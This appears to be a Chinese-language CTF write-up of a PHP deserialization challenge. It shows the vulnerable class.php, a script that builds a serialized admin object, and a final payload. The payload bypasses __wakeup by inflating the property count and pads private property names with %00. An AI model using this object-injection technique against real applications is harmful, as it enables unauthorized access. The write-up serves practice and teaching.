一個簡單的代碼審計題目。
題目提示有備份,那就應該有一個目錄提供源碼下載。掃了一下,有一個www.zip
文件,下載。
打開以後,是三個php源碼,其中最重要的是class.php,代碼如下:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看了一下,這個其實是個反序列化題目。腳本如下:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo ($b);
?>
結果如下,但是那些<0x00>
複製不下來,用%00
代替。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把這個當參數上傳,無果。
爲什麼呢,因爲源碼裏面有一個__wakeup()
魔術方法。繞過__wakeup()
的方法爲:將那串字符裏面的2
換爲3
即可。
加上%00是因爲username和password都是私有變量,變量中的類名前後會有空白符,而複製的時候會丟失。
所以最後的參數是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}